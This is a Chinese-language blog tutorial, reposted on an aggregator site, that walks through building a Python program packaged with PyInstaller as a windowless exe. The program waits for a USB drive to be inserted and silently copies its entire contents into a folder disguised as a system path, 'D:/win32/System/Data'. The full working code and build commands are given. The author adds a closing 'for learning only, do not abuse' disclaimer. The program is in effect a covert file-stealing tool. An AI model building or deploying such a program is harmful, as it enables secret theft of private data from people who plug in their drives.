IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 开发工具 -> python自动拷贝U盘文件(打包成exe) -> 正文阅读

[开发工具]python自动拷贝U盘文件(打包成exe)

大家好!欢迎阅读此文档,从零实现利用python工具实现自动拷贝U盘里的文件、打包成exe文件程序(exe程序是windows系统兼容的程序、运行程序的电脑不需要安装python就能实现),新手也能完成!!!!!

提示:熟悉python工具的可直接跳转到步骤四

目录

一、python与Pycharm安装

二、安装python库 (pip安装)

三、使用Pycharm创建工程

四、python代码程序?

五、打包exe文件

六、总结


一、python与Pycharm安装

python下载地址(官网):Welcome to Python.org

Pycharm下载地址:PyCharm: the Python IDE for Professional Developers by JetBrains

安装提示:建议python3.8、安装地址在D盘新建一个文件名为python3.X和Pycharm、建议环境变量、Pycharm安装社区版(免费);需要专业版的私信我

说明:本文档主要是利用python工具实现拷贝功能,如有需要安装教程,评论在下方,我单独出一个安装python教程

二、安装python库 (pip安装)

1、进入python安装目录(D:\python3.8.9\Scripts)

?2、输入cmd+回车

?3、进入命令框

4、安装以下库

psutil库和pytest-shutil库以及pyinstaller(打包成exe)库

??4、输入以下命令(安装对应的库)+回车

pip install? psutil? -i https://pypi.tuna.tsinghua.edu.cn/simple

pip install???pytest-shutil? -i https://pypi.tuna.tsinghua.edu.cn/simple

pip install??pyinstaller? -i https://pypi.tuna.tsinghua.edu.cn/simple

?安装成功后如下图所示

三、使用Pycharm创建工程

1、创建

2、复制步骤四的代码

大家在此可以运行代码程序验证是否能成功、代码量较少、应该不会报错、有错的话请私信我;运行=鼠标右键后点击run

四、python代码程序?

主要代码程序:(复制到步骤三的main.py文件)

# 1、导入相关库
from psutil import disk_partitions
from time import sleep
import shutil
import os
# 2、定义文件粘贴地址
idd_cope = 'D:/win32/System/Data'
# 3、检测粘贴地址是否存在
id_cope_2 = os.path.isdir(idd_cope)
if id_cope_2:
    exit()  # 如果存在就结束程序
# 4、循环检测U盘是否插入
while True:
    sleep(1) #等待1毫秒,可以删除
    for item in disk_partitions():
        if 'removable' in item.opts:
            driver = item.device # 获取U盘名称
            driver = driver[:-1]
            shutil.copytree(driver, idd_cope) # 拷贝函数
            break # 拷贝完成后结束循环
    else:
        continue # U盘没有插入就跳转执行下一个循环
    break

五、打包exe文件

1、进入步骤三创建工程的文件(E:\python\usb_path)

2、输入cmd(和步骤二一样)

3、输入以下命令打包

pyinstaller -F -w main.py

4、打包成功如下图

?5、寻找打包exe程序

?6、验证exe文件

1、双击main.exe(建议此时不插U盘)

2、打开任务管理器(查看程序是否运行)

3、插入U盘后等待main.exe程序结束

4、结束后进入D:\win32\System\Data

此时就有了U盘里的文件了

六、总结

1、exe文件程序可以在windows系统中运行,不需要安装任何环境;

2、教程是博主一步一步实现的,应该不会存在问题,如有问题,可私信博主;

3、程序只是为了提供学习,请勿滥用,否则后果自负!!!;

4、需要博主已经打包好的exe文件,请私信博主!

未经博主同意,请勿私自转发,请大佬评论你们的想法!

  开发工具 最新文章
Postman接口测试之Mock快速入门
ASCII码空格替换查表_最全ASCII码对照表0-2
如何使用 ssh 建立 socks 代理
Typora配合PicGo阿里云图床配置
SoapUI、Jmeter、Postman三种接口测试工具的
github用相对路径显示图片_GitHub 中 readm
Windows编译g2o及其g2o viewer
解决jupyter notebook无法连接/ jupyter连接
Git恢复到之前版本
VScode常用快捷键
上一篇文章      下一篇文章      查看所有文章
加:2021-12-15 18:30:19  更:2021-12-15 18:31:03 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/15 14:39:07-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码